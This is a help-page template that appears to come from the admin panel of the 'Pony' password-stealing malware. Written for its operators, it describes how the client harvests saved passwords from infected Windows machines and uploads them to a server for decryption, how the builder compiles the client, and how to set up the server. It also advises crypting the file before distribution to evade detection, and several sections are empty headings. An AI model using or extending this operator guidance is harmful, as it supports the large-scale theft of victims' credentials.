{if $priv_is_admin || $show_help_to_users}

Password collection system "Pony"


Purpose and objectives of the project



General Information


The project is divided into three separate parts:

A non-standard approach is used to collect passwords


When you run the client, Pony. exe automatically collects the passwords and data required for decryption into special container files, called "reports," which are then encrypted to the server where they are processed. Each report can contain tens and even hundreds of passwords, as well as other auxiliary information.

n fact, "Pony. exe " does not contain any decryption algorithms, but only simple functions Read the file and registry data.

All the work for decrypting passwords takes place on the WEB server. It is not an intensive operation, because Most of the algorithms are trivial. The server spends less 10ms (0.01 sec) on the average processing Reports with passwords.

Positive aspects of this approach.:
Negatives:

Web Server Requirements



A set of server scripts is not tied to the root folder and can be moved to any of your convenience. In the working share must create a directory "temp" and give her the right to read, write and execute (chmod 777). The name of the folder "temp" can be overridden in the settings file "config.php".

Assembly example PHP:
Configure Command './configure' '--enable-mbstring=all' '--with-zlib' '--with-iconv' '--with-gd' '--with-curl' '--with-pcre-regex' '--with-gmp' '--with-mhash' '--with-mcrypt' '--with-mysql' '--with-libxml-dir' '--prefix=/opt/php' '--with-sqlite3' '--with-freetype-dir' '--enable-gd-native-ttf' '--with-png-dir' '--with-jpeg-dir' '--enable-zip'.

Server part (admin)


Contents of delivery:

Admin functions



Differentiation of user rights admin


Users are divided into two types:

Additional Information



Builder "PonyBuilder.exe"


The task of the builder is to configure and compile the "Pony.exe" client, which must be downloaded to infected computers.

Contents of delivery:

The interface is divided into 4 tabs:


Starting the build from the command line


The following command line arguments are available:


Client "Pony.exe"


A task "Pony.exe" - collect passwords from the computer and send them to the server for further processing.

Works on all versions of Windows, starting with Win98, including server. Supported in x86 and x64 mode. The program normally works at startup with administrator or user rights.

Before distributing the file, it is desirable to clean and crank it.

Instantly decrypted saved passwords for the following programs:
{else} {include file='error.tpl' err_code='ERR_NOT_ENOUGH_PRIVILEGES'} {/if}